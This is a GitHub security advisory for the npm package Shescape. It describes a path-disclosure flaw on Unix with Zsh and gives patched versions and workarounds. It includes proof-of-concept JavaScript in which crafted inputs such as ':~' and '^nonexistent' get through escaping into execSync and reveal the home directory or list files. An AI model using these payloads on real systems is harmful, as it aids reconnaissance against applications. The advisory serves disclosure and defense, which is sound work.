GHSA-6V4M-FW66-8R4X
Vulnerability from github – Published: 2026-07-24 22:33 – Updated: 2026-07-24 22:33
VLAI
Summary
Shescape: Path disclosure on Unix with Zsh
Details
Impact
This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.
In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.
Without option / with MAGIC_EQUAL_SUBST
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "zsh",
// Or
shell: true, // Only if the default shell is Zsh
};
// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);
// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);
// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.
With EXTENDED_GLOB
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "zsh",
// Or
shell: true, // Only if the default shell is Zsh
};
// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv
// 2. Payload
let payload;
payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);
// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);
// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory
Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-155",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:33:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThis impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem.\n\nIn certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.\n\n#### Without option / with `MAGIC_EQUAL_SUBST`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n shell: \"zsh\",\n // Or\n shell: true, // Only if the default shell is Zsh\n};\n\n// 2. Payload\nconst payload1 = \":~\";\n// Or\nconst payload2 = \"a=~\"; // requires MAGIC_EQUAL_SUBST\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload1);\n// Or\nescapedPayload = shescape.escapeAll([payload1]);\n// And (example)\nconst result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);\n\n// Or\nescapedPayload = shescape.escape(payload2);\n// Or\nescapedPayload = shescape.escapeAll([payload2]);\n// And (example)\nconst result2 = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(\"\", result1.toString().trim(), \"\\n\", result2.toString().trim());\n// Outputs \":\" followed by the user\u0027s home directory on one line and \"a=\"\n// followed by the user\u0027s home directory (under MAGIC_EQUAL_SUBST) on the next.\n```\n\n#### With `EXTENDED_GLOB`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n shell: \"zsh\",\n // Or\n shell: true, // Only if the default shell is Zsh\n};\n\n// And (example)\n// `setopt EXTENDED_GLOB` in ~/.zshenv\n\n// 2. Payload\nlet payload;\n\npayload = \"pa#ckage.json\";\n// Or\npayload = \"^package.json~package-lock.json\";\n// Or\npayload = \"^nonexistent\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs files and directories in the current directory\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
"id": "GHSA-6v4m-fw66-8r4x",
"modified": "2026-07-24T22:33:38Z",
"published": "2026-07-24T22:33:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6v4m-fw66-8r4x"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2649"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2651"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ericcornelissen/shescape"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Shescape: Path disclosure on Unix with Zsh"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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